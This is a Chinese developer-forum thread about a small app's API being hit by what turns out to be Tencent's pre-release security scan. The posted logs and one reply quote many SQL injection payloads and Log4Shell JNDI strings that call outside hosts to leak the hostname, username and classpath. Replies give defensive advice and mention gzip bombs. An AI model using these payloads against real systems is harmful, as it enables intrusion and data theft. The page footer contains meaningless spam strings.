遇到黑客攻击了怎么办 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
shinyzhu
V2EX    信息安全

遇到黑客攻击了怎么办

  •  
  •   shinyzhu 2024-03-17 17:34:58 +08:00 3555 次点击
    这是一个创建于 604 天前的主题,其中的信息可能已经有所发展或是发生改变。

    我在做的是一个小程序,有后台的 API 服务。

    上周五突然发现有很多 SQL 注入和远程代码执行的调用。

    Mar 15 16:48:15 lightsh ibkapi[1420640]: GET /products?q=%27%20union%20select%201--%20&count=30&cat=21&p=1 500 2.012 ms - 60 Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23&count=30&cat=21&p=1 500 4.498 ms - 60 Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%bf%27%bf'%27%22'"\\%5C%0d%0a%23%23&count=30&cat=21&p=1 500 16.973 ms - 60 Mar 15 16:49:27 lightsh ibkapi[1420640]: GET /products?q=&count=30&cat=21&p=%20OR%20%28SELECT%2AFROM%28SELECT%28SLEEP%284%29%29%29iiet%29%20limit%201%23 400 0.847 ms - 163 

    和这样:

    Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://183.47.120.213:1099/bypass4ab2c832c1448624ddd652713f2b4b1b-/-${hostName}} 400 1.655 ms - 201 Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.f4a52b7ecb98e763293fb54f33f9bec8.4j2.mauu.mauu.me/} 400 1.722 ms - 258 Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:ldap://183.47.120.213:1389/jdk185bf1616da873b6fb2299bbc60897c1c1-/-${hostName}} 400 1.749 ms - 201 Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.05d82899be802b7b14abf20f5a33c934.4j2.mauu.mauu.me/}&count=10&p=1 400 2.063 ms - 257 

    还有今天发现在请求 /.env

    技术战是 NodeJS+MySQL ,看起来这些攻击没有得逞,我也在发现的第一时间停掉服务规避了。

    然后修改了系统里校验参数和 SQL 语句的用法。

    目前有 2 个问题:

    1. 这个站点我并没有公开发布过,黑客是怎么知道地址的呢?拿手机抓包获取 API 地址?
    2. 大家有什么办法避免这样的攻击?
    第 1 条附言    2024-03-18 11:15:43 +08:00
    感谢 @yumusb @kimitaer 的提醒,这些请求确实来自腾讯安全团队的扫描,小程序上线有一个步骤就是安全扫描。

    相关的官方文档:

    小程序安全检测上线公告: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001?blockType=99

    小程序漏洞扫描功能介绍: https://developers.weixin.qq.com/miniprogram/dev/devtools/vulnerability.html

    最后,希望大家的应用都安全上线。
    17 条回复    2024-05-11 22:34:37 +08:00
    lonelykid
        1
    lonelykid  
       2024-03-17 17:50:38 +08:00
    全网扫描 IP 和端口,还有你贴的日志把你服务器 IP 都泄露了。
    Hopetree
        2
    Hopetree  
       2024-03-17 18:07:11 +08:00
    我发现只要是公开的网站都有很多类似的请求。

    借贴说一下关于这种暴力请求的问题,是不是可以设置网络炸弹(就是给一些不存在的请求返回一个压缩文件,文件被解压的时候会非常大)来恶心一下这种请求?前几天看到网络炸弹这个还没试过,不知道对于这种暴力请求有效没?
    shinyzhu
        3
    shinyzhu  
    OP
       2024-03-17 18:08:26 +08:00
    @lonelykid 嗯嗯。谢谢提醒。

    我看了日志的,那个不是我的 IP ,还有域名 mauu.me 也不是我的。我怀疑是黑客控制的,所以没有删掉。黑客想通过那个接口的参数传远程下载进去。但我服务器上没有 Java 。

    不知道理解对不对。有没有白帽帮忙看看。
    shinyzhu
        4
    shinyzhu  
    OP
       2024-03-17 18:10:26 +08:00
    @Hopetree 感觉是个“蜜罐”类方案,可以研究下。但直接返回大文件的话,我的小服务器流量也受不了。
    Puteulanus
        5
    Puteulanus  
       2024-03-17 18:10:59 +08:00   1
    如果请求参数跟你的服务八竿子打不着,那估计就是扫描的了,可能会把常见的漏洞利用都给你试一遍
    winterpotato
        6
    winterpotato  
       2024-03-17 19:41:13 +08:00   1
    用 gzip bumb 确实很坏,我做过一段时间,发现自己发出去的流量挺多的也不知道对面爆炸了没。

    大概率是全网扫的,从自己的代码角度来看,查询语句要用 prepared statement ( Parameterized queries )这种避免被注入。
    yumusb
        7
    yumusb  
       2024-03-17 20:24:24 +08:00   2
    mauu.me 是腾讯安全检测的,你是不是最近上线了什么小程序一类的,触发了腾讯的安全扫描。
    shinyzhu
        8
    shinyzhu  
    OP
       2024-03-17 20:35:06 +08:00 via iPhone
    @yumusb 是的呢。就是小程序刚发布了个新版本,就收到这些扫描了。我发现 IP 还真是广州的。
    kimitaer
        9
    kimitaer  
       2024-03-17 23:42:18 +08:00   1
    应该是 tx 的安全检测, 之前我司也是发现了一批可疑请求, 检查了下 ua 可以看到是来自 tx 的检测
    NGGTI
        10
    NGGTI  
    PRO
       2024-03-18 09:54:26 +08:00   1
    一个是在做 SQL 注入攻击 sleep(4) 响应 0.847 ms 没成功。一个在做 log4 攻击,没用 java 就算了。
    retanoj
        11
    retanoj  
       2024-03-18 10:18:09 +08:00   1
    攻击不代表攻击成功。
    “我也在发现的第一时间停掉服务规避了”,如果真对扫描类请求都这么敏感,那建议前面套一层 WAF
    shinyzhu
        12
    shinyzhu  
    OP
       2024-03-18 11:16:36 +08:00
    @retanoj 其实我很慌,我不少 SQL 是拼字符串的,想着后面有空了重构。这一下直接让我在半夜改完了。
    retanoj
        13
    retanoj  
       2024-03-18 11:28:40 +08:00   1
    @shinyzhu #12
    你看,以攻促防这效果不就体现出来了嘛 ;)
    impdx
        14
    impdx  
       2024-03-19 14:36:35 +08:00   1
    sql 拼接,开发不注意安全规范很容易 sql 注入。先规范自己的开发。之后考虑上个雷池 waf ,可以避免一些扫描器
        15
    AJ1if4  
       2024-04-09 22:30:13 +08:00   1
    散了吧,这个是小程序发布审核触发的腾讯安全审查。

    {"code":"' union select 1--"}
    {"code":"' union select 1,2--"}
    {"code":"' union select 1,2,3--"}
    {"code":"' union select md5(3141592657),2,3--"}
    {"code":"' union select 1,md5(3141592657),3--"}
    {"code":"' union select 1,2,md5(3141592657)--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g' AND (SELECT*FROM(SELECT(SLEEP(3)))qtuo) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") OR (SELECT*FROM(SELECT(SLEEP(4)))cnpj) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\")) AND (SELECT*FROM(SELECT(SLEEP(3)))pxzq) limit 1#"}
    {"code":"\")) OR (SELECT*FROM(SELECT(SLEEP(3)))puht) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") AND (SELECT*FROM(SELECT(SLEEP(2)))cfva) limit 1#"}
    {"code":"' OR (SELECT*FROM(SELECT(SLEEP(3)))mnud) limit 1#"}
    {"code":"\" AND (SELECT*FROM(SELECT(SLEEP(3)))ondm) limit 1#"}
    {"code":"%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"')) OR (SELECT*FROM(SELECT(SLEEP(2)))nawx) limit 1#"}
    {"code":"')) OR (SELECT*FROM(SELECT(SLEEP(3)))rywe) limit 1#"}
    {"code":"\" union select 1--"}
    {"code":"\" union select 1,2--"}
    {"code":"\" union select md5(3141592657),2--"}
    {"code":"\" union select 1,md5(3141592657)--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,3--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select md5(3141592657),2,3--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,md5(3141592657),3--"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,md5(3141592657)--"}
    {"code":"%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(4)))biaw) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(3)))mjpe) limit 1#"}
    {"code":"${jndi:rmi:\/\/183.47.120.213:1099\/bypassea22776815cddd786d4619bd5fa16902-\/-${hostName}}"}
    {"code":"\") OR (SELECT*FROM(SELECT(SLEEP(4)))qgzf) limit 1#"}
    {"code":"') OR (SELECT*FROM(SELECT(SLEEP(3)))kuav) limit 1#"}

    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"\" OR (SELECT*FROM(SELECT(SLEEP(3)))cexg) limit 1#"}
    {"code":"\" OR (SELECT*FROM(SELECT(SLEEP(4)))fzmo) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(3)))jyyi) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(4)))bvvz) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}

    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(4)))fnfj) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(3)))wdcf) limit 1#"}
    {"code":"${jndi:rmi:\/\/hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.32a822
    .mauu.me\/}"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(2)))lozr) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(3)))hged) limit 1#"}
    {"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(3)))ievk) limit 1#"}
    {"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(4)))tpvq) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(3)))hkzh) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(2)))gisu) limit 1#"}
    {"code":"') AND (SELECT*FROM(SELECT(SLEEP(3)))kaes) limit 1#"}
    {"code":"') AND (SELECT*FROM(SELECT(SLEEP(4)))xbou) limit 1#"}
    {"code":"' AND (SELECT*FROM(SELECT(SLEEP(4)))dfwz) limit 1#"}
    {"code":"' AND (SELECT*FROM(SELECT(SLEEP(3)))yfcg) limit 1#"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
    {"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
    {"code":"\") AND (SELECT*FROM(SELECT(SLEEP(4)))rsqh) limit 1#"}
    shinyzhu
        16
    shinyzhu  
    OP
       2024-04-10 10:54:39 +08:00
    @AJ1if4 哈哈。你这个日志怎么来的?用的啥数据库?
    AJ1if4
        17
    AJ1if4  
       2024-05-11 22:34:37 +08:00
    @shinyzhu 服务器上的,pg
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     955 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 23ms UTC 21:51 PVG 05:51 LAX 13:51 JFK 16:51
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86